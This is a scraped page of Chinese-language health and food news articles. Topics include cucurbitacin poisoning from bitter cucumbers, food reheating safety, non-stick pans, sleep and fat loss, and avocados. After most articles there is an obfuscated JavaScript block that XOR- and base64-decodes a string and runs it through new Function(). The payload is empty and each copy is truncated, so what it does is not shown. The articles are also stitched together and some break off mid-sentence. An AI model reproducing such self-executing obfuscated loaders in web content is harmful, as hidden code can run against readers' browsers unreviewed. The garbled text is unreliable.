博士却对此持保留态度。他直言，去掉香蕉白丝的实际动机究竟是什么？香蕉白丝本身对健康有益且分量极少，科学界和农业界实在不应该把宝贵的研究精力，浪费在这种对人类健康与农业发展毫无实质意义的无关痛痒问题上。市民下次吃香蕉时，不妨放宽心，连同这些营养丰富的白丝一起放心食用。 资料来源：网易 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

炎炎夏日，清凉爽脆的凉拌青瓜，是餐桌上的消暑佳品。然而，近日中国内地福建一名男子，因进食自家种植的凉拌青瓜时察觉异常苦涩，仅吃了半条，一小时后即出现剧烈恶心、呕吐、腹痛腹泻，送院确诊为“葫芦素中毒”。“葫芦素中毒”与青瓜有甚么关系？有专家盘点5类食物一旦出现异常苦味，分分钟“毒过砒霜”、应立刻停充止食用。 半条青瓜即中毒 葫芦素耐热难破坏 中国内媒报道，据福建省第二人民医院专家解释，青瓜属于葫芦科植物，当植株遭受虫害、高温或基因突变时，会大量合成“葫芦素B”以自我防卫。这是一种高毒性化合物，其急性毒性甚至强于部分砒霜类物质，且具有极佳的耐热性，日常炒煮、煲汤均无法将其分解。原来系 异常苦味即弃 勿存侥幸 选购青瓜时，应拣选颜色鲜绿、无酸异味者。食用前必须切掉两端蒂头，并用舌尖轻舔断面；若苦味极重，表示葫芦素含量已达危险水平，整条瓜应即时丢弃。专家呼吁，切勿因“不想浪费”而以为“只食少少冇事”。目前医学上并无针对葫芦素中毒的特效药，治疗只能依靠催吐、洗胃及支援性疗法。 5类食物变苦即有毒 专家吁勿轻视 华南农业大学食品安全硕士张译丰及国家注册营养师张海英指出，以下五类食物一旦出现异常苦味，即代表毒素已大量生成，应立刻停食： 1. 葫芦科蔬果（青瓜、冬瓜、节瓜、丝瓜、南瓜、西葫芦、蒲瓜、哈密瓜等） 葫芦素D毒性比砒霜更猛烈。苦瓜虽属葫芦科，但其苦味安全，可安心食用。 2. 坚果谷物（花生、粟米、坚果） 发苦或发霉可能产生黄曲毒素，属一级致癌物，可致肝癌。 3. 木薯 苦味代表生氰糖苷含量高，分解后释出氢氰酸，可致中毒。 4. 贝类（蛤蜊、扇贝、花甲） 受污染或变质的贝类可能带有麻痺性贝毒，高温无法分解。 5. 鱼胆（鲤鱼、草鱼、青鱼、鳙鱼、鲫鱼） 含剧毒胆汁成分，中毒无特效药，可致肝肾衰竭。 专家再三提醒，当食物出现异常苦味，代表毒素已经产生，切勿因为“唔想嘥”而勉强进食。食得安心，才是对自己和家人最大的负责。 资料来源：新浪、澎湃新闻 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var...

夏天车厘子当造，到底车厘子点样拣先最完美？有专家教买车厘子睇果梗及闻香气秘诀，轻松避开烂果陷阱，保证粒粒多汁鲜甜。 买车厘子看果梗闻香气秘诀 避免买烂果 据外媒《Simply Recipes》报道，踏入炎夏，超市货架上开始出现车厘子的踪影。正如西瓜和粟米一样，车厘子是夏天不可或缺的标志性水果。由于车厘子当造期极短，加上价格不菲，一旦买到不新鲜的劣质果实，实在令人大感浪费。俄勒冈州波特兰的农产店负责人Josh Alsberg，为大家拆解挑选完美车厘子的秘诀，教大家避开烂果： 买车厘子秘诀 1.不能单靠视觉 很多人挑选车厘子时，往往只看果肉是否鲜红饱满便匆匆购买。但Josh Alsberg指出这绝对不够，选购时应调动“五感”，绝不能单靠视觉。他提醒，既然亲身到超市或街市选购，而非依赖外卖平台，若无法仔细检查实物就宁愿不买。消费者买车厘子时犯的最大错误，就是没有先仔细检查，便直接拿走整盒或整袋水果。 2.从外观上看 优质的车厘子应该饱满油亮，而非暗淡无光或干瘪萎缩。不过，外观只是评判品质的其中一环。Josh Alsberg表示，车厘子摸上手应该感觉结实，闻起来带有香甜气味。如果商店容许试食，他强烈建议在购买前先尝一口。 3.果梗越绿越新鲜 Josh Alsberg透露，香甜多汁的秘密其实藏在车厘子的果梗中，这是判断新鲜度最简单直接的方法。不应该看到任何可见的霉菌或腐烂情况。果椗应该以翠绿色为主，啡色部分越少越好，这代表它们是新鲜采摘的。 4.主动询问店员有没有新货 如果对货架上展示的车厘子外观不满意，不妨主动询问店员是否有存放于仓库的最新鲜批次。Josh Alsberg解释，所有大型超市都采用“先进先出（FIFO）”的陈列方式，这意味着摆在货架最前排的水果，并不总是最新到货的。 5.买车厘子越大越好 挑选车厘子绝对是越大越好，Josh Alsberg建议，如果比较两批质素相若的车厘子，最好选择个头较大粒的那一批。因为车厘子果核的大小通常都差不多，所以个头较大粒的车厘子，代表每一颗所包含的果肉比例就越多。 6.尽量在农场或果园购买 如果难以在市区买到真正新鲜的车厘子，可考虑到本地果园或农场购买。果园主人通常会让车厘子在树上多挂几天，以确保风味和糖分达到最佳状态。而且农场档主通常比超市员工更了解车厘子的品种和种植方法，为了买到最美味的车厘子，绝对物有所值。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

40岁后每晚开冷气睡觉，为何醒来依然浑身沉重、越睡越累？有专家指出，想摆脱冷气疲劳，关键在于养成3大睡前习惯，其中只需简单为头部降温，就能助深层入眠，翌日起床精神百倍。 为何40岁后开冷气睡觉越睡越累？ 据《Yahoo! JAPAN》报道，炎炎夏日，冷气机是睡房中预防中暑的必备品。然而，许多人却因为早上醒来感觉又冷又疲倦而感到苦恼。当然并不建议强忍酷暑，最重要的是在合理使用冷气的同时，懂得照顾身体。日本护士兼药膳专家Keiko（けいこ）指出，特别是40岁或以上的人士，因夏季开冷气而导致晨起疲倦，主要有以下两大原因： 1.自律神经系统休息不足 当副交感神经系统（负责放松身心）在睡眠期间占据主导地位时，身体会进入深度休息状态。然而，如果直接暴露在冷气环境中，或是房间温度过低，身体便会不自觉地继续耗力以维持体温。这意味着即使在睡觉，自律神经系统仍在全力运作。尤其在40岁以后，受年龄和荷尔蒙变化影响，自律神经系统更容易出现波动，对冷气冷风的影响会更加敏感。 2.寒气阻碍气血运行 在中医理论中，寒气被认为是阻碍“气”和“血”运行的原因之一，而气血正是人体重要的能量。睡眠时，如果腹部或脚部受寒，身体会收缩血管以防止热量散失。结果，整体血液循环容易停滞，造成翌日醒来时容易出现精神不振、身体沉重及水肿等轻微不适。因此在夏季，“防寒”对成年人来说与“防暑”同样重要。 养成3个睡前习惯翌日更精神 Keiko指出，要舒适地使用冷气并保持健康睡眠，关键在于头部凉爽，腹部和脚部温暖： 养成3个睡前习惯翌日更精神 1.轻柔地为头部“局部”降温 许多人都有“不想令身体受寒，但头部发热导致难以入睡”的困扰。中医认为，忙碌的一天和长时间的思考会导致能量上涌，造成头部“发热”。因此，建议轻柔地为后脑勺上方降温，但必须避开颈部。可使用常见的儿童小冰袋，实用且能轻松防止过度受凉。由于颈部受寒会影响血液循环，建议可用毛巾包裹颈部作适度保暖，这样有助降低头部多余的热量，令人更容易放松入眠。 2. 全面保护腹部及双脚 在为头部降温的同时，也要注意保护腹部和双脚免受寒气侵袭。腹部是人体重要的消化系统所在，一旦受凉，会削弱消化功能并降低身体产生能量的能力。此外，双脚尤其是小腿，在将血液泵回心脏方面发挥着至关重要的作用，受寒会导致血液循环不良，令人翌日早上感到双腿沉重疲倦。 建议晚上开冷气睡觉时，穿着轻薄的保暖腹带或袜套。睡前亦可轻轻转动脚踝约10次，或轻按小腿促进血液循环。即使只是短短一两分钟的护理，也能温和地温暖身体，助进入深层睡眠。 3.浸浴调节体温 在炎热的天气里，可能只想快速洗澡，但养成浸浴的习惯是呵护身体的重要方式。尝试在睡前1至2小时，用约40°C的温水浸浴10至15分钟。随着浸浴后体温逐渐升高，然后慢慢下降，人体自然会产生睡意。浸浴还能放松肌肉，促进全身血液循环。虽然不必每天浸浴，但当感到特别疲惫时，浸浴绝对能帮助身体极速恢复活力。 资料来源：《Yahoo! JAPAN》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

【星岛综合报道】美国超过30个州近日爆发会导致腹泻的环孢子虫病（Cyclospora）疫情，源头来自Taco Bell连锁快餐店的生菜丝。加拿大Taco Bell就此强调，导致美国疫情的生菜，并没有供应予加拿大分店。 美国印第安纳州、肯塔基州、密西根州、俄亥俄州及西维吉尼亚州共五间Taco Bell分店所使用的生菜，早前被确认为今次疫情源头，该品牌的加拿大公司其后透过社交媒体发表上述声明。 美国疾病控制及预防中心（CDC）数据显示，自今年5月以来，已有近7,000人感染环孢子虫病。 加拿大公共卫生署（Public Health Agency of Canada）表示，目前没有调查任何环孢子虫病疫情个案，但每年春夏季，与进口水果及蔬菜有关的感染个案一般都会增加。 加拿大食品检验局（CFIA）则表示，已就相关事件与美国食品及药物管理局（FDA）保持联系。 环孢子虫病是一种肠胃道疾病，可引致持续六至七周的水样腹泻。 相关新闻：环孢子虫病|美逾30州爆腹泻寄生虫疫情 确认源自Taco Bell生菜丝 图：法新社、加通社 V20

阿妈教落“热食要放凉才可放入雪柜，否则雪柜会坏”，其实这个观念其实大错特错！有医生指，食物在室温处于“危险温度带”时，细菌每20分钟便会倍增，并释出多种耐热毒素，而最可怕的是，即使再加热亦无法消除食物内的毒素。 “热食放凉先入雪柜”原来系谬误？ 牙科医生陈澔贤在个人专页分享“热食要放凉才可放入雪柜”是坊间常见谬误。食物在室温下处于4°C至60°C的“危险温度带”时，会释出多种耐热甚至致命的毒素这些细菌产生的毒素，例如金黄葡萄球菌、蜡样芽孢杆菌（又称“炒饭杆菌”）、沙门氏菌及大肠杆菌等。 陈医生指出：“以米饭中的蜡样芽孢杆菌毒素为例，即使再加热至超过126°C、持续90分钟以上，仍然不会分解”，因此预防细菌繁殖才是关键。 正确方法：煮熟即入雪柜 分装加速散热 陈医生建议，如果大家计划第二天带饭或预期有剩菜，应在食物煮熟后立即用密封容器装好，尽快放入雪柜。若煮了一大锅，切勿整锅直接放入，应分装在多个盒子中，均匀摆放，增加散热面积，令食物更快脱离危险温度带。完全不需要等它放凉。 夏天保存食物 2小时是极限 另外，夏季天气炎热，食物在室温下摆放超过2小时便应视为不宜食用。若室内温度高于32°C，则限时缩短至1小时。吃不完的熟食应立刻放入雪柜，无需等候。 加热逾70°C才安全 重新加热食物时，应确保中心温度达到70°C以上，才能杀死大部分活菌。但必须牢记：毒素本身耐热，加热无法消除，因此预防胜于治疗。 工人姐姐备餐要留意 陈医生指出尤其要提醒家中外佣，切勿将煮好的食物长时间放在厨房或餐桌上，待小朋友玩耍完毕才进食，这段时间细菌已大量滋生；“家人留了下午4、5点外卖的刺身给你，晚上7点回家，其实早已不能食用，应直接丢弃”以免酿成食物中毒。 翻热不同食物要留意甚么？肉/蛋/汤羹 香港食安中心指出，烹煮或翻热食物时，食物中心温度应达至75℃或以上，维持至少30秒，也可以使用其他温度与时间组合，例如达至70℃或以上，维持至少2分钟；或达至65℃或以上，维持至少10分钟。 另外，食安中心建议翻热时可使用食物温度计检查食物中心温度，并加以记录。温度计应插进食物最厚的部分进行量度。温度计每次使用前后均须清洁消毒。最重要的是食物只可翻热一次，不应再次冷存，防止细菌因长时间在危险温度而急速增长。 如没有食物温度计，食安中心建议应彻底煮熟或翻热食物至滚烫，然后检查以下各项： 肉类和家禽：确保煮熟后的肉汁必须清澈，不应呈红色，切开时不应见血。 蛋类：蛋黄须煮至凝固，否则可选用经巴士德消毒的蛋类制作非全熟菜式。 介贝类：煮沸不少于5分钟。 汤羹及炆炖类食物：煮沸并维持最少1分钟。 至于以微波炉烹煮食物时，烹煮期间必须搅拌食物，让热力平均分布。烹煮后把食物盖好至少2分钟，使各部份能达到所需温度。 资料来源：牙科医生陈澔贤、食安中心 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var...

想养好肠胃，单靠吃益生菌未必足够！有营养师特别推介4大护肠营养素，有助改善便秘和增免疫力，其中日常吃鸡蛋都有效。 营养师教吃4类食物护肠道 更改善便秘/增免疫力 营养师高敏敏在facebook专页发文指出，养肠道不是只有吃益生菌，而肠道若好全身都好，连心情都会影响。毕竟不少人以为肠胃顺不顺只是“会不会便秘”而已，其实与免疫、代谢、情绪、睡眠息息相关。当肠道内的益菌与坏菌维持平衡，不仅能帮助消化，更会影响身体保护力，连带影响脑部的荷尔蒙分泌。她分享以下4大护肠关键营养素： 4类食物助护肠道 1.发酵益菌 日常可多进食优乳酪、乳酪、康普茶及纳豆等发酵食物，有助维持肠道菌丛平衡，促进消化及排便顺畅，全面支持肠道健康与保护力。不过益生菌绝对不是食得越多越好，最重要的是为肠道营造一个益菌喜欢生长的环境。 2.膳食纤维 可多进食各式蔬菜、水果及全谷类。丰富的纤维能增加粪便体积，促进肠道蠕动，从而帮助益菌生长。建议每天应进食至少3份蔬菜加2份水果，再搭配全谷杂粮，令纤维摄取更多元化。 3.色胺酸 肠道参与着人体许多神经传导物质的调节，而色胺酸正是合成血清素的重要原料，有助维持好心情及调节生理机能；若配合规律生活，更能大大提升睡眠质素。建议可以从鲜奶、鸡蛋、香蕉、豆制品等摄取。 4.维他命B杂 特别是维他命B6、B9（叶酸）及B12，能有效帮助身体能量代谢，支持神经系统正常运作，从而维持肠道处于健康状态。日常可多进食全谷杂粮、深绿色蔬菜，以及蛋、奶、鱼、肉类。 高敏敏提醒，真正有效的养肠之道，绝对不能单靠吞一粒益生菌，而是每天饮食习惯的累积。除了要吃足纤维，日常还要确保喝够水、保持规律活动及稳定睡眠。 资料来源：营养师高敏敏 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var...

易洁镬是家家户户必备的厨具，但坊间屡传涂层剥落会释放毒素，到底怎样用易洁镬才最安全？有专家拆解易洁镬使用迷思，并盘点涂层出现6大情况必须立即更换，其中易洁镬煎蛋经常黐底可能已经老化。 点用易洁镬最安全？ 据外媒《Simply Recipes》报道，坊间经常流传有关厨房用具的安全隐患，由塑胶容器、砧板到水壶等，而针对“易洁镬”会释放致癌物的警告更是屡见不鲜。水分活度（Water Activity）量测仪器品牌AQUALAB by Addium首席食品研究员、华盛顿州立大学食品科学系兼任教授Zachary Cartwright指出，对于一般的家庭烹饪而言，只要按照制造商的说明使用，现代的易洁镬绝对安全。大众最大的误解是以为所有易洁镬，都含有几十年前引发健康恐慌的化学物质。其实，现时构成易洁镬涂层的“聚四氟乙烯（PTFE）”，与昔日加工过程中使用的“全氟辛酸（PFOA）”截然不同，而后者已被主要制造商逐步淘汰。 Zachary Cartwright强调，真正的安全问题在于“过热”，而非在普通炉火温度下的日常烹调。若将易洁镬暴露在超过摄氏260度（华氏500度）的高温下，或在“空镬”状态下直接加热预热，会导致涂层破裂并释放出有害气体。这些气体不但可能令人类出现类似流感的短暂症状，对部分宠物更具有剧毒。 至于是否需要彻底转用不锈钢、铸铁镬或陶瓷厨具？Zachary Cartwright认为，除非想减少接触“全氟及多氟烷基物质（PFAS）”的整体剂量，否则没有必要刻意停用易洁镬。PFAS是一类人工合成的化学物质总称，存在于多种日常生活用品中，在环境中的分解速度很慢，因此被称为“永远的化学物质”。 易洁镬涂层出现6情况须立即更换 当易洁镬的涂层开始老化，便会失去保护作用并变得不安全。Zachary Cartwright提醒，若出现以下6种情况，就代表须立即更换新镬： 易洁镬涂层出现6情况须即换 1.出现深层刮痕 2.涂层剥落 3.表面起泡 4.部分区域涂层严重磨损 5.煎蛋时突然出现沾锅情况 6.食物中混有微小的黑色涂层碎片 Zachary Cartwright解释，意外吞下少量涂层并不会造成严重的健康问题，因为聚四氟乙烯（PTFE）的化学性质非常稳定，能够随消化系统排出体外。不过，受损的涂层无法再发挥应有的防黏性能，且随着时间推移会持续降解，因此强烈建议及早更换。 延长易洁镬寿命使用贴士 大部分缩短易洁镬寿命的原因，都与日常的错误煮食习惯有关。为了保持涂层的最佳状态，Zachary Cartwright分享了以下保养贴士： 煮食时应使用中小火，绝对要避免“空镬预热”；并坚持使用矽胶、木质或塑胶厨具。 用软海绵手洗比放进洗碗碟机清洗更为温和，而且在冲洗前，必须先让易洁镬自然冷却，防止因温度骤变而导致镬身变形。若需高温煎烤，建议改用铸铁镬或不锈钢镬。 资料来源： 《Simply Recipes》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

“雪花牛”高级又矜贵，但“雪花肌”你又听过未呢？有专家指，“雪花肌”绝非好事，事关如果大腿肌肉有“雪花肌”不仅是肌肉退化的表现，更增加糖尿病、肌少症和跌倒风险，而且亚洲人特别易中招！ 雪花肌是甚么？脂肪渗入肌肉纤维间 复健科医生王思恒在个人Facebook专页分享，雪花肌是指脂肪渗入肌肉纤维之间，医学上称为“肌脂肪变性”（Myosteatosis）。透过肌肉超声波或磁力共振（MRI），可以清晰看到脂肪像大理石纹般穿插在肌肉中。 健康肌肉：水分多，超声波穿透良好，肌纤维纹理清晰，多为有规律运动的人。 雪花肌：脂肪阻碍超声波传导，画面模糊，肌纤维轮廓难以辨识，多为久坐不运动的人。   雪花肌比内脏脂肪更危险 对节食无效 内脏脂肪会引发心血管疾病和糖尿病。但1997年《Diabetes》期刊一项经典研究发现，对于肥胖人士，大腿肌肉的脂肪渗透程度对胰岛素敏感性的破坏力，甚至比内脏脂肪更强。近年研究发现，雪花化的肌肉会持续分泌发炎物质，释放游离脂肪酸，令周边肌肉细胞对胰岛素失去反应，推高糖尿病风险。 研究显示单纯靠节食减肥，虽然体重下降，皮下脂肪减少，但大腿深层的雪花脂肪减幅有限。相反，结合运动减重，雪花肌和内脏脂肪的减少幅度是单纯节食的近2倍。王医生指，这代表即使体重正常，若肌肉品质差，仍可能成为“瘦的雪花人”，糖尿病风险依然高企。 亚洲人天生高危 4招自测雪花肌风险 王医生特别提醒，东亚人在相同体重指数（BMI）下，比欧美白人更容易累积内脏脂肪和脂肪肝；而南亚人的肌肉雪花化比例也高于白人和黑人。因此，即使身形看似标准，肌肉内可能已暗藏“油花”，不容忽视。 王医生列出4招在家可做的测试，评估肌肉功能： 1.单脚企30秒：摇晃或需扶墙，代表下肢控制力退化。 2.30秒椅子起立测试（50岁以上）：14次以下属偏低。 3.量度小腿围（AWGS 2019标准）：男生少于34厘米、女生少于33厘米，代表肌肉量不足。 4.量度腰围：男生≥90厘米、女生≥80厘米，腹部脂肪多，通常肌肉也藏有油花。 对抗雪花肌2方法：运动+蛋白质 要逆转雪花肌，王医生建议： 每周2-3次重训：深蹲、硬举等大肌群动作，有效逼出肌肉脂肪。 每周150分钟中强度有氧：快走、踩单车、游泳，可改善肌脂肪变性。 摄取足够蛋白质： 1.有疾病或规律运动的长者：每日每公斤体重1.2至1.5克。 2.合并减重者：可增至每日每公斤体重1.5至2.0克。 3.减少久坐：每坐1小时，起身活动1至2分钟。 资料来源：复健科医生王思恒 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new...

为了达到完美的增肌减脂效果，不少健身爱好者每周规律运动、严格计算宏量营养素（Macronutrients），但有时成果却不似预期，甚至会陷入停滞期。营养师科提斯（Curtis）指出，当减重或增肌长期卡关时，问题可能不止出在饮食或运动上，极有可能是“睡眠品质”出了问题。临床研究显示，睡眠不足不仅会严重削弱减脂成效，还可能导致苦练的肌肉加速流失。 睡眠不足导致减脂成效大跌 科提斯引述国外一项临床研究，研究人员将正接受“减肥餐”饮食控制的受试者随机分成两组：一组维持每日正常睡眠（正常组）；另一组则在一周内有5天比平常少睡1小时（限制组）。 经过长达8周的实验后，两组受试者的体重同样平均减少了约3.2公斤。然而，进一步分析身体成分后发现，正常组所减去的体重中，有高达80%为纯脂肪；相反，睡眠受限制的组别，减去的体重中只有17%是脂肪，其余减去的绝大部分都是体水分与珍贵的肌肉组织。由此可见，睡眠充足与否，对体型雕塑有着决定性的影响。 少睡一小时引发报复性进食 “饥饿素”含量显著较高 科提斯进一步指出，每天仅仅少睡1小时，就会令减重过程中的肌肉流失率大幅飙升。此外，限制组受试者血液中的“饥饿素”（Ghrelin）含量显著较高，这意味着他们在减重过程中需要忍受更强烈的饥饿感，极易在后期引发报复性进食，从而令复胖风险大增。 在运动表现方面，缺乏睡眠的副作用同样明显。研究发现，睡眠不足会直接降低卧推（Bench Press）、硬举（Deadlift）和腿推（Leg Press）等复合多关节动作的力量耐力与总训练量（Volume）。与此同时，伤者自觉运动强度（RPE）会显著提高——换言之，健身时会感觉身体更累，但实际举起的重量与下组数却变少，最终严重影响肌肉肥大的增肌效果。 皮质醇飙升破坏增肌环境 配合优质睡眠减脂更佳 从内分泌学的角度来看，睡眠不足会透过大脑的“下视丘—脑垂体—肾上腺轴”（HPA轴）深度干扰体内的荷尔蒙平衡。当睡眠不足时，人体会大量分泌压力荷尔蒙——皮质醇（Cortisol），并同时抑制具有同化合成作用的雄性激素——睾固酮（Testosterone）的分泌。这种一升一降的荷尔蒙变化，会使身体陷入分解代谢状态，形成极度不利于增肌减脂的体内环境。 纯粹“睡饱”是否真的能对重训成果带来正面回馈？另一篇针对重量训练人群的研究将受试者分为两组：一组仅进行纯重训，另一组则在重训之余接受额外的“睡眠健康教育”。 实验进行10周后，两组在肌肉量增长（Fat-Free Mass）的幅度上表现接近（纯重训组增加1.3公斤；重训搭配睡眠教育组增加1.7公斤）。然而，只有接受了睡眠教育、改善睡眠结构的组别，体脂肪出现了显著下降（平均减少1.8公斤）。 科提斯强调，综合上述多项科学实证，充足且优质的睡眠对优化体型与提升代谢率至关重要。健美及健身爱好者若发现自己遇上减重瓶颈，在盲目增加训练量或进一步克扣热量之前，不妨先重新检视并优化自己的睡眠时间与睡眠质素。 资料来源：营养师科提斯 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

日常生活中，大家经常会问“到底吃甚么水果最健康”？家医科医生李思贤指出，这个问题其实相当复杂，因为水果的好坏很难一概而论。挑选时必须将含糖量、升糖指数（GI值）、农药残留以及个人身体的耐受性一并纳入考虑。不过，在众多水果之中，“牛油果”是极少数优点远大于缺点的“完美水果”。 高营养低糖全方位优势 膳食纤维高 李思贤医生解释，牛油果的脂肪组成非常优质，极具健康价值。牛油果所含的脂肪，大部分属于“油酸”（Oleic acid），这是一种 Omega-9 单元不饱和脂肪酸，与橄榄油中的主要脂肪酸完全相同，对保护心血管及抑制身体慢性发炎都有非常正面的帮助。 此外，牛油果更是一款高营养、低糖分的果实。它富含微量元素“钾”（每颗牛油果的钾含量甚至比香蕉还要高），同时含有丰富的维他命 K、叶酸、维他命 E、维他命 B6 以及镁。李医生补充，牛油果的膳食纤维含量相当高，能有效促进肠道益生菌的多样性。这些营养素相辅相成，令牛油果在“支持身体整体代谢”这个面向表现得极为全面。 组织胺不耐症患者需留意 虽然牛油果营养价值极高，但李思贤医生提醒，这并不代表每个人都适合大量食用。牛油果的“组织胺”含量需要特别注意——它不仅本身含有一定份量的组织胺，更是医学界公认的“组织胺释放食物”。换言之，即使它本身的组织胺含量不是最高，吃下肚后亦会刺激人体免疫系统释放出更多组织胺。 对于患有“组织胺不耐症”、DAO 酵素活性不足、或是肠道通透性偏高（如肠漏症）的人士，进食牛油果后可能会诱发头痛、鼻塞、皮肤搔痒或肠胃不适等过敏反应。这类高敏感族群并非完全不能吃牛油果，但进食时务必严密观察自己的身体反应，量力而为。 切开后熟度即定型 牛油果属于“呼吸型后熟水果” 李思贤医生亦分享了一个许多都市人都不知道的冷知识：牛油果一旦切开，其熟度就会即时定型，绝对无法再继续变熟。这背后的科学原理非常有趣。牛油果属于“呼吸型后熟水果”，必须依靠自身产生的乙烯气体，来启动并维持整个熟化过程。而这个机制需要果实的细胞结构保持完整、乙烯在果肉内部累积到一定浓度才能顺利运作。一旦不小心提早切开，体内的乙烯气体会瞬间散逸，细胞受损，导致整个熟化的细胞讯号链彻底中断。此时接管果实的不再是熟化酵素，而是“多酚氧化酶”，它一接触到空气中的氧气，就会令果肉迅速氧化变黑。李医生提醒，若买回来的牛油果表面还硬梆梆，请千万不要冲动切开，必须将其放在室温继续催熟，等到整颗牛油果用手指轻压感觉有弹性时才切。切开之后，就要尽快食用完毕。 